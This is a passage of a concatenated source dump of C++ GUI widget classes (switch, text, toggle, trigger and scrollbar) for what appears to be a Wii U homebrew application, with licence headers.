//!Set sound volume //!\param v Sound volume (0-100) void SetVolume(u32 v); //!\param l Loop (true to loop) void SetLoop(bool l); protected: s32 voice; //!< Currently assigned ASND voice channel }; #endif ================================================ FILE: src/gui/GuiSwitch.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiSwitch.h" #include "GuiImage.h" #include "GuiImageData.h" /** * Constructor for the GuiSwitch class. */ GuiSwitch::GuiSwitch(bool checked,f32 w, f32 h) : GuiToggle(checked,w,h) ,switchbase_imgdata(Resources::GetImageData("switchIconBase.png")) ,switchbase_img(switchbase_imgdata) ,switchbase_highlighted_imgdata(Resources::GetImageData("switchIconBaseHighlighted.png")) ,switchbase_highlighted_img(switchbase_highlighted_imgdata) ,switchOn_imgdata(Resources::GetImageData("switchIconOn.png")) ,switchOn_img(switchOn_imgdata) ,switchOff_imgdata(Resources::GetImageData("switchIconOff.png")) ,switchOff_img(switchOff_imgdata) { f32 scale = 1.0; if(switchbase_img.getHeight() > switchbase_img.getWidth()){ scale = height/switchbase_img.getHeight(); }else{ scale = width/switchbase_img.getWidth(); } switchbase_img.setScale(scale); switchbase_highlighted_img.setScale(scale); switchOn_img.setScale(scale); switchOff_img.setScale(scale); switchOn_img.setParent(this); switchOn_img.setAlignment(ALIGN_RIGHT); //switchOn_img.setPosition((width/4.0),0); switchOff_img.setParent(this); switchOff_img.setAlignment(ALIGN_LEFT); //switchOff_img.setPosition(-((width/4.0)),0); setImage(&switchbase_img); setIconOver(&switchbase_highlighted_img); } /** * Destructor for the GuiButton class. */ GuiSwitch::~GuiSwitch() { Resources::RemoveImageData(switchbase_imgdata); Resources::RemoveImageData(switchbase_highlighted_imgdata); Resources::RemoveImageData(switchOn_imgdata); Resources::RemoveImageData(switchOff_imgdata); } void GuiSwitch::draw(CVideo *v){ GuiToggle::draw(v); if(getValue()){ switchOn_img.draw(v); }else{ switchOff_img.draw(v); } } ================================================ FILE: src/gui/GuiSwitch.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_SWTICH_H_ #define GUI_SWTICH_H_ #include "GuiToggle.h" #include "GuiImage.h" #include "GuiImageData.h" //!A simple switch class GuiSwitch : public GuiToggle { public: //!Constructor //!\param checked Checked GuiSwitch(bool checked,f32 w, f32 h); //!Destructor virtual ~GuiSwitch(); protected: GuiImageData * switchbase_imgdata; GuiImage switchbase_img; GuiImageData * switchbase_highlighted_imgdata; GuiImage switchbase_highlighted_img; GuiImageData * switchOn_imgdata; GuiImage switchOn_img; GuiImageData * switchOff_imgdata; GuiImage switchOff_img; void draw(CVideo * v); }; #endif ================================================ FILE: src/gui/GuiText.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiText.h" #include "FreeTypeGX.h" #include "video/CVideo.h" FreeTypeGX * GuiText::presentFont = NULL; s32 GuiText::presetSize = 28; float GuiText::presetInternalRenderingScale = 2.0f; //Lets render the font at the doubled size. This make it even smoother! s32 GuiText::presetMaxWidth = 0xFFFF; s32 GuiText::presetAlignment = ALIGN_CENTER | ALIGN_MIDDLE; GX2ColorF32 GuiText::presetColor = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f }; #define TEXT_SCROLL_DELAY 6 #define TEXT_SCROLL_INITIAL_DELAY 10 #define MAX_LINES_TO_DRAW 10 /** * Constructor for the GuiText class. */ GuiText::GuiText() { text = NULL; size = presetSize; currentSize = size; color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a); alpha = presetColor.a; alignment = presetAlignment; maxWidth = presetMaxWidth; wrapMode = 0; textWidth = 0; font = presentFont; linestodraw = MAX_LINES_TO_DRAW; textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; textScrollDelay = TEXT_SCROLL_DELAY; defaultBlur = 4.0f; blurGlowIntensity = 0.0f; blurAlpha = 0.0f; blurGlowColor = glm::vec4(0.0f); internalRenderingScale = presetInternalRenderingScale; } GuiText::GuiText(const char * t, s32 s, const glm::vec4 & c) { text = NULL; size = s; currentSize = size; color = c; alpha = c[3]; alignment = ALIGN_CENTER | ALIGN_MIDDLE; maxWidth = presetMaxWidth; wrapMode = 0; textWidth = 0; font = presentFont; linestodraw = MAX_LINES_TO_DRAW; textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; textScrollDelay = TEXT_SCROLL_DELAY; defaultBlur = 4.0f; blurGlowIntensity = 0.0f; blurAlpha = 0.0f; blurGlowColor = glm::vec4(0.0f); internalRenderingScale = presetInternalRenderingScale; if(t) { text = FreeTypeGX::charToWideChar(t); if(!text) return; textWidth = font->getWidth(text, currentSize); } } GuiText::GuiText(const wchar_t * t, s32 s, const glm::vec4 & c) { text = NULL; size = s; currentSize = size; color = c; alpha = c[3]; alignment = ALIGN_CENTER | ALIGN_MIDDLE; maxWidth = presetMaxWidth; wrapMode = 0; textWidth = 0; font = presentFont; linestodraw = MAX_LINES_TO_DRAW; textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; textScrollDelay = TEXT_SCROLL_DELAY; defaultBlur = 4.0f; blurGlowIntensity = 0.0f; blurAlpha = 0.0f; blurGlowColor = glm::vec4(0.0f); internalRenderingScale = presetInternalRenderingScale; if(t) { text = new (std::nothrow) wchar_t[wcslen(t)+1]; if(!text) return; wcscpy(text, t); textWidth = font->getWidth(text, currentSize); } } /** * Constructor for the GuiText class, uses presets */ GuiText::GuiText(const char * t) { text = NULL; size = presetSize; currentSize = size; color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a); alpha = presetColor.a; alignment = presetAlignment; maxWidth = presetMaxWidth; wrapMode = 0; textWidth = 0; font = presentFont; linestodraw = MAX_LINES_TO_DRAW; textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; textScrollDelay = TEXT_SCROLL_DELAY; defaultBlur = 4.0f; blurGlowIntensity = 0.0f; blurAlpha = 0.0f; blurGlowColor = glm::vec4(0.0f); internalRenderingScale = presetInternalRenderingScale; if(t) { text = FreeTypeGX::charToWideChar(t); if(!text) return; textWidth = font->getWidth(text, currentSize); } } /** * Destructor for the GuiText class. */ GuiText::~GuiText() { if(text) delete [] text; text = NULL; clearDynamicText(); } void GuiText::setText(const char * t) { if(text) delete [] text; text = NULL; clearDynamicText(); textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; if(t) { text = FreeTypeGX::charToWideChar(t); if(!text) return; textWidth = font->getWidth(text, currentSize); } } void GuiText::setTextf(const char *format, ...) { if(!format) { setText((char *) NULL); return; } s32 max_len = strlen(format) + 8192; char *tmp = new char[max_len]; va_list va; va_start(va, format); if((vsnprintf(tmp, max_len, format, va) >= 0) && tmp) { setText(tmp); } va_end(va); if(tmp) delete [] tmp; } void GuiText::setText(const wchar_t * t) { if(text) delete [] text; text = NULL; clearDynamicText(); textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; if(t) { text = new (std::nothrow) wchar_t[wcslen(t)+1]; if(!text) return; wcscpy(text, t); textWidth = font->getWidth(text, currentSize); } } void GuiText::clearDynamicText() { for(u32 i = 0; i < textDyn.size(); i++) { if(textDyn[i]) delete [] textDyn[i]; } textDyn.clear(); textDynWidth.clear(); } void GuiText::setPresets(s32 sz, const glm::vec4 & c, s32 w, s32 a) { presetSize = sz; presetColor = (GX2ColorF32) { (f32)c.r / 255.0f, (f32)c.g / 255.0f, (f32)c.b / 255.0f, (f32)c.a / 255.0f }; presetMaxWidth = w; presetAlignment = a; } void GuiText::setPresetFont(FreeTypeGX *f) { presentFont = f; } void GuiText::setFontSize(s32 s) { size = s; } void GuiText::setMaxWidth(s32 width, s32 w) { maxWidth = width; wrapMode = w; if(w == SCROLL_HORIZONTAL) { textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; textScrollDelay = TEXT_SCROLL_DELAY; } clearDynamicText(); } void GuiText::setColor(const glm::vec4 & c) { color = c; alpha = c[3]; } void GuiText::setBlurGlowColor(float blur, const glm::vec4 & c) { blurGlowColor = c; blurGlowIntensity = blur; blurAlpha = c[3]; } s32 GuiText::getTextWidth(s32 ind) { if(ind < 0 || ind >= (s32) textDyn.size()) return this->getTextWidth(); return font->getWidth(textDyn[ind], currentSize); } const wchar_t * GuiText::getDynText(s32 ind) { if(ind < 0 || ind >= (s32) textDyn.size()) return text; return textDyn[ind]; } /** * Change font */ bool GuiText::setFont(FreeTypeGX *f) { if(!f) return false; font = f; textWidth = font->getWidth(text, currentSize); return true; } std::string GuiText::toUTF8(void) const { if(!text) return std::string(); char *pUtf8 = FreeTypeGX::wideCharToUTF8(text); if(!pUtf8) return std::string(); std::string strOutput(pUtf8); delete [] pUtf8; return strOutput; } void GuiText::makeDottedText() { s32 pos = textDyn.size(); textDyn.resize(pos + 1); s32 i = 0, currentWidth = 0; textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; if(!textDyn[pos]) { textDyn.resize(pos); return; } while (text[i]) { currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0); if (currentWidth >= maxWidth && i > 2) { textDyn[pos][i - 2] = '.'; textDyn[pos][i - 1] = '.'; textDyn[pos][i] = '.'; i++; break; } textDyn[pos][i] = text[i]; i++; } textDyn[pos][i] = 0; } void GuiText::scrollText(u32 frameCount) { if (textDyn.size() == 0) { s32 pos = textDyn.size(); s32 i = 0, currentWidth = 0; textDyn.resize(pos + 1); textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; if(!textDyn[pos]) { textDyn.resize(pos); return; } while (text[i] && currentWidth < maxWidth) { textDyn[pos][i] = text[i]; currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0); ++i; } textDyn[pos][i] = 0; return; } if (frameCount % textScrollDelay != 0) { return; } if (textScrollInitialDelay) { --textScrollInitialDelay; return; } s32 stringlen = wcslen(text); ++textScrollPos; if (textScrollPos > stringlen) { textScrollPos = 0; textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY; } s32 ch = textScrollPos; s32 pos = textDyn.size() - 1; if (!textDyn[pos]) textDyn[pos] = new (std::nothrow) wchar_t[maxWidth]; if(!textDyn[pos]) { textDyn.resize(pos); return; } s32 i = 0, currentWidth = 0; while (currentWidth < maxWidth) { if (ch > stringlen - 1) { textDyn[pos][i++] = ' '; currentWidth += font->getCharWidth(L' ', currentSize, ch > 0 ? text[ch - 1] : 0); textDyn[pos][i++] = ' '; currentWidth += font->getCharWidth(L' ', currentSize, L' '); textDyn[pos][i++] = ' '; currentWidth += font->getCharWidth(L' ', currentSize, L' '); ch = 0; if(currentWidth >= maxWidth) break; } textDyn[pos][i] = text[ch]; currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0); ++ch; ++i; } textDyn[pos][i] = 0; } void GuiText::wrapText() { if (textDyn.size() > 0) return; s32 i = 0; s32 ch = 0; s32 linenum = 0; s32 lastSpace = -1; s32 lastSpaceIndex = -1; s32 currentWidth = 0; while (text[ch] && linenum < linestodraw) { if (linenum >= (s32) textDyn.size()) { textDyn.resize(linenum + 1); textDyn[linenum] = new (std::nothrow) wchar_t[maxWidth]; if(!textDyn[linenum]) { textDyn.resize(linenum); break; } } textDyn[linenum][i] = text[ch]; textDyn[linenum][i + 1] = 0; currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0x0000); if (currentWidth >= maxWidth || (text[ch] == '\n')) { if(text[ch] == '\n') { lastSpace = -1; lastSpaceIndex = -1; } else if (lastSpace >= 0) { textDyn[linenum][lastSpaceIndex] = 0; // discard space, and everything after ch = lastSpace; // go backwards to the last space lastSpace = -1; // we have used this space lastSpaceIndex = -1; } if (linenum + 1 == linestodraw && text[ch + 1] != 0x0000) { if(i < 2) i = 2; textDyn[linenum][i - 2] = '.'; textDyn[linenum][i - 1] = '.'; textDyn[linenum][i] = '.'; textDyn[linenum][i + 1] = 0; } currentWidth = 0; ++linenum; i = -1; } if (text[ch] == ' ' && i >= 0) { lastSpace = ch; lastSpaceIndex = i; } ++ch; ++i; } } /** * Draw the text on screen */ void GuiText::draw(CVideo *pVideo) { if(!text) return; if(!isVisible()) return; color[3] = getAlpha(); blurGlowColor[3] = blurAlpha * getAlpha(); float finalRenderingScale = 2.0f * internalRenderingScale; s32 newSize = size * getScale() * finalRenderingScale; s32 normal_size = size * getScale(); if(newSize != currentSize) { currentSize = normal_size; if(text) textWidth = font->getWidth(text, normal_size); } f32 x_pos = getCenterX() * finalRenderingScale; f32 y_pos = getCenterY() * finalRenderingScale; if(maxWidth > 0 && maxWidth <= textWidth) { if(wrapMode == DOTTED) // text dotted { if(textDyn.size() == 0) makeDottedText(); if(textDynWidth.size() != textDyn.size()) { textDynWidth.resize(textDyn.size()); for(u32 i = 0; i < textDynWidth.size(); i++) textDynWidth[i] = font->getWidth(textDyn[i], newSize); } if(textDyn.size() > 0) font->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, textDynWidth[textDyn.size()-1], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); } else if(wrapMode == SCROLL_HORIZONTAL) { scrollText(pVideo->getFrameCount()); if(textDyn.size() > 0) font->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, maxWidth*finalRenderingScale, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); } else if(wrapMode == WRAP) { s32 lineheight = newSize + 6; s32 yoffset = 0; s32 voffset = 0; if(textDyn.size() == 0) wrapText(); if(textDynWidth.size() != textDyn.size()) { textDynWidth.resize(textDyn.size()); for(u32 i = 0; i < textDynWidth.size(); i++) textDynWidth[i] = font->getWidth(textDyn[i], newSize); } if(alignment & ALIGN_MIDDLE) voffset = (lineheight * (textDyn.size()-1)) >> 1; for(u32 i = 0; i < textDyn.size(); i++) { font->drawText(pVideo, x_pos, y_pos + voffset + yoffset, getDepth(), textDyn[i], newSize, color, alignment, textDynWidth[i], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); yoffset -= lineheight; } } } else { uint16_t newtextWidth = font->getWidth(text, newSize); font->drawText(pVideo, x_pos, y_pos, getDepth(), text, newSize, color, alignment, newtextWidth, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale); } } ================================================ FILE: src/gui/GuiText.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_TEXT_H_ #define GUI_TEXT_H_ #include "GuiElement.h" //!Forward declaration class FreeTypeGX; //!Display, manage, and manipulate text in the GUI class GuiText : public GuiElement { public: //!Constructor GuiText(); //!\param t Text //!\param s Font size //!\param c Font color GuiText(const char * t, s32 s, const glm::vec4 & c); //!\overload //!\param t Text //!\param s Font size //!\param c Font color GuiText(const wchar_t * t, s32 s, const glm::vec4 & c); //!\overload //!\Assumes SetPresets() has been called to setup preferred text attributes //!\param t Text GuiText(const char * t); //!Destructor virtual ~GuiText(); //!Sets the text of the GuiText element //!\param t Text virtual void setText(const char * t); virtual void setText(const wchar_t * t); virtual void setTextf(const char *format, ...) __attribute__((format(printf,2,3))); //!Sets up preset values to be used by GuiText(t) //!Useful when printing multiple text elements, all with the same attributes set //!\param sz Font size //!\param c Font color //!\param w Maximum width of texture image (for text wrapping) //!\param wrap Wrapmode when w>0 //!\param a Text alignment static void setPresets(s32 sz, const glm::vec4 & c, s32 w, s32 a); static void setPresetFont(FreeTypeGX *font); //!Sets the font size //!\param s Font size void setFontSize(s32 s); //!Sets the maximum width of the drawn texture image //!If the text exceeds this, it is wrapped to the next line //!\param w Maximum width //!\param m WrapMode void setMaxWidth(s32 w = 0, s32 m = WRAP); //!Sets the font color //!\param c Font color void setColor(const glm::vec4 & c); void setBlurGlowColor(float blurIntensity, const glm::vec4 & c); void setTextBlur(float blur) { defaultBlur = blur; } //!Get the original text as char virtual const wchar_t * getText() const { return text; } virtual std::string toUTF8(void) const; //!Get the Horizontal Size of Text s32 getTextWidth() { return textWidth; } s32 getTextWidth(s32 ind); //!Get the max textwidth s32 getTextMaxWidth() { return maxWidth; } //!Get fontsize s32 getFontSize() { return size; }; //!Set max lines to draw void setLinesToDraw(s32 l) { linestodraw = l; } //!Get current Textline (for position calculation) const wchar_t * getDynText(s32 ind = 0); virtual const wchar_t * getTextLine(s32 ind) { return getDynText(ind); }; //!Change the font bool setFont(FreeTypeGX *font); //! virtual function used in child classes virtual s32 getStartWidth() { return 0; }; //!Constantly called to draw the text void draw(CVideo *pVideo); //! text enums enum { WRAP, DOTTED, SCROLL_HORIZONTAL, SCROLL_NONE }; protected: static FreeTypeGX * presentFont; static s32 presetSize; static s32 presetMaxWidth; static float presetInternalRenderingScale; static s32 presetAlignment; static GX2ColorF32 presetColor; //!Clear the dynamic text void clearDynamicText(); //!Create a dynamic dotted text if the text is too long void makeDottedText(); //!Scroll the text once void scrollText(u32 frameCount); //!Wrap the text to several lines void wrapText(); wchar_t * text; std::vector textDyn; std::vector textDynWidth; s32 wrapMode; //!< Wrapping toggle s32 textScrollPos; //!< Current starting index of text string for scrolling s32 textScrollInitialDelay; //!< Delay to wait before starting to scroll s32 textScrollDelay; //!< Scrolling speed s32 size; //!< Font size s32 maxWidth; //!< Maximum width of the generated text object (for text wrapping) FreeTypeGX *font; s32 textWidth; s32 currentSize; s32 linestodraw; glm::vec4 color; float defaultBlur; float blurGlowIntensity; float blurAlpha; glm::vec4 blurGlowColor; float internalRenderingScale; }; #endif ================================================ FILE: src/gui/GuiToggle.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiToggle.h" /** * Constructor for the GuiToggle class. */ GuiToggle::GuiToggle(bool checked,f32 width,f32 height) : GuiButton(width,height) { bChanged = false; selected = checked; clicked.connect(this,&GuiToggle::OnToggleClick); } /** * Destructor for the GuiButton class. */ GuiToggle::~GuiToggle() { bChanged = false; selected = false; } void GuiToggle::OnToggleClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger){ if(!isStateSet(STATE_DISABLED | STATE_HIDDEN | STATE_DISABLE_INPUT)){ if(selected){ setUnchecked(); }else{ setChecked(); } } } void GuiToggle::update(GuiController * c){ GuiButton::update(c); } ================================================ FILE: src/gui/GuiToggle.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_TOGGLE_H_ #define GUI_TOGGLE_H_ #include "GuiButton.h" #include "GuiFrame.h" //!A simple CheckBox class GuiToggle : public GuiButton, public sigslot::has_slots<> { public: //!Constructor //!\param checked Checked GuiToggle(bool checked,f32 width,f32 height); //!Destructor virtual ~GuiToggle(); void setValue(bool checked){ if(selected != checked){ selected = checked; bChanged=true; valueChanged(this,selected); } } void setChecked(){ setValue(true); } void setUnchecked(){ setValue(false); } bool getValue(){ return selected; } sigslot::signal2 valueChanged; void OnToggleClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); protected: bool selected; bool bChanged; void update(GuiController * c); }; #endif ================================================ FILE: src/gui/GuiTrigger.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiElement.h" #include "GuiController.h" #include "GuiTrigger.h" /** * Constructor for the GuiTrigger class. */ GuiTrigger::GuiTrigger() : chan(CHANNEL_ALL) , btns(BUTTON_NONE) , bClickEverywhere(false) , bHoldEverywhere(false) , bSelectionClickEverywhere(false) , bLastTouched(false) { } GuiTrigger::GuiTrigger(u32 ch, u32 btn, bool clickEverywhere, bool holdEverywhere, bool selectionClickEverywhere) : chan(ch) , btns(btn) , bClickEverywhere(clickEverywhere) , bHoldEverywhere(holdEverywhere) , bSelectionClickEverywhere(selectionClickEverywhere) , bLastTouched(false) { } /** * Destructor for the GuiTrigger class. */ GuiTrigger::~GuiTrigger() { } /** * Sets a simple trigger. Requires: * - Element is selected * - Trigger button is pressed */ void GuiTrigger::setTrigger(u32 ch, u32 btn) { chan = ch; btns = btn; } bool GuiTrigger::left(const GuiController *controller) const { if((controller->chan & chan) == 0) { return false; } if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_LEFT | STICK_L_LEFT)) { return true; } return false; } bool GuiTrigger::right(const GuiController *controller) const { if((controller->chan & chan) == 0) { return false; } if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_RIGHT | STICK_L_RIGHT)) { return true; } return false; } bool GuiTrigger::up(const GuiController *controller) const { if((controller->chan & chan) == 0) { return false; } if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_UP | STICK_L_UP)) { return true; } return false; } bool GuiTrigger::down(const GuiController *controller) const { if((controller->chan & chan) == 0) { return false; } if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_DOWN | STICK_L_DOWN)) { return true; } return false; } s32 GuiTrigger::clicked(const GuiController *controller) const { if((controller->chan & chan) == 0) { return CLICKED_NONE; } s32 bResult = CLICKED_NONE; if(controller->data.touched && controller->data.validPointer && (btns & VPAD_TOUCH) && !controller->lastData.touched) { bResult = CLICKED_TOUCH; } if(controller->data.buttons_d & btns) { bResult = CLICKED_BUTTON; } return bResult; } bool GuiTrigger::held(const GuiController *controller) const { if((controller->chan & chan) == 0) { return false; } bool bResult = false; if(controller->data.touched && (btns & VPAD_TOUCH) && controller->data.validPointer && controller->lastData.touched && controller->lastData.validPointer) { bResult = true; } if(controller->data.buttons_h & btns) { bResult = true; } return bResult; } bool GuiTrigger::released(const GuiController *controller) const { if((controller->chan & chan) == 0) { return false; } if(clicked(controller) || held(controller)) return false; bool bResult = false; if(!controller->data.touched && (btns & VPAD_TOUCH) && controller->lastData.touched && controller->lastData.validPointer) { bResult = true; } if(controller->data.buttons_r & btns) { bResult = true; } return bResult; } ================================================ FILE: src/gui/GuiTrigger.h ================================================ /*************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_TRIGGER_H_ #define GUI_TRIGGER_H_ #include "dynamic_libs/os_functions.h" //!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element. class GuiTrigger { public: enum eClicked{ CLICKED_NONE = 0x00, CLICKED_TOUCH = 0x01, CLICKED_BUTTON = 0x02, }; enum eChannels { CHANNEL_1 = 0x01, CHANNEL_2 = 0x02, CHANNEL_3 = 0x04, CHANNEL_4 = 0x08, CHANNEL_5 = 0x10, CHANNEL_ALL = 0xFF }; enum eButtons { BUTTON_NONE = 0x0000, VPAD_TOUCH = 0x80000000, BUTTON_Z = 0x20000, BUTTON_C = 0x10000, BUTTON_A = 0x8000, BUTTON_B = 0x4000, BUTTON_X = 0x2000, BUTTON_Y = 0x1000, BUTTON_1 = BUTTON_Y, BUTTON_2 = BUTTON_X, BUTTON_LEFT = 0x0800, BUTTON_RIGHT = 0x0400, BUTTON_UP = 0x0200, BUTTON_DOWN = 0x0100, BUTTON_ZL = 0x0080, BUTTON_ZR = 0x0040, BUTTON_L = 0x0020, BUTTON_R = 0x0010, BUTTON_PLUS = 0x0008, BUTTON_MINUS = 0x0004, BUTTON_HOME = 0x0002, BUTTON_SYNC = 0x0001, STICK_R_LEFT = 0x04000000, STICK_R_RIGHT = 0x02000000, STICK_R_UP = 0x01000000, STICK_R_DOWN = 0x00800000, STICK_L_LEFT = 0x40000000, STICK_L_RIGHT = 0x20000000, STICK_L_UP = 0x10000000, STICK_L_DOWN = 0x08000000 }; //!Constructor GuiTrigger(); //!Constructor GuiTrigger(u32 ch, u32 btns, bool clickEverywhere = false, bool holdEverywhere = false, bool selectionClickEverywhere = false); //!Destructor virtual ~GuiTrigger(); //!Sets a simple trigger. Requires: element is selected, and trigger button is pressed void setTrigger(u32 ch, u32 btns); void setClickEverywhere(bool b) { bClickEverywhere = b; } void setHoldOnly(bool b) { bHoldEverywhere = b; } void setSelectionClickEverywhere(bool b) { bSelectionClickEverywhere = b; } bool isClickEverywhere() const { return bClickEverywhere; } bool isHoldEverywhere() const { return bHoldEverywhere; } bool isSelectionClickEverywhere() const { return bSelectionClickEverywhere; } bool left(const GuiController *controller) const; bool right(const GuiController *controller) const; bool up(const GuiController *controller) const; bool down(const GuiController *controller) const; s32 clicked(const GuiController *controller) const; bool held(const GuiController *controller) const; bool released(const GuiController *controller) const; private: u32 chan; u32 btns; bool bClickEverywhere; bool bHoldEverywhere; bool bSelectionClickEverywhere; bool bLastTouched; }; #endif ================================================ FILE: src/gui/Scrollbar.cpp ================================================ /*************************************************************************** * Copyright (C) 2011 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #include "Scrollbar.h" #include "resources/Resources.h" Scrollbar::Scrollbar(s32 h) : touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) { SelItem = 0; SelInd = 0; PageSize = 0; EntrieCount = 0; ScrollSpeed = 15; ScrollState = 0; listChanged.connect(this, &Scrollbar::setScrollboxPosition); btnSoundClick = Resources::GetSound("button_click.mp3"); scrollbarLine = Resources::GetImageData("scrollbarLine.png"); arrowDown = Resources::GetImageData("scrollbarArrowDown.png"); arrowUp = Resources::GetImageData("scrollbarArrowUp.png"); scrollbarBox = Resources::GetImageData("scrollbarButton.png"); height = h; width = scrollbarBox->getWidth(); MaxHeight = height * 0.5f - (scrollbarBox ? (scrollbarBox->getHeight() * 0.5f) : 0) - (arrowUp ? arrowUp->getHeight() : 0); MinHeight = -height * 0.5f + (scrollbarBox ? (scrollbarBox->getHeight() * 0.5f) : 0) + (arrowDown ? arrowDown->getHeight() : 0); scrollbarLineImg = new GuiImage(scrollbarLine); scrollbarLineImg->setParent(this); scrollbarLineImg->setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); scrollbarLineImg->setPosition(0, 0); arrowDownImg = new GuiImage(arrowDown); arrowUpImg = new GuiImage(arrowUp); scrollbarBoxImg = new GuiImage(scrollbarBox); arrowUpBtn = new GuiButton(arrowUpImg->getWidth(), arrowUpImg->getHeight()); arrowUpBtn->setParent(this); 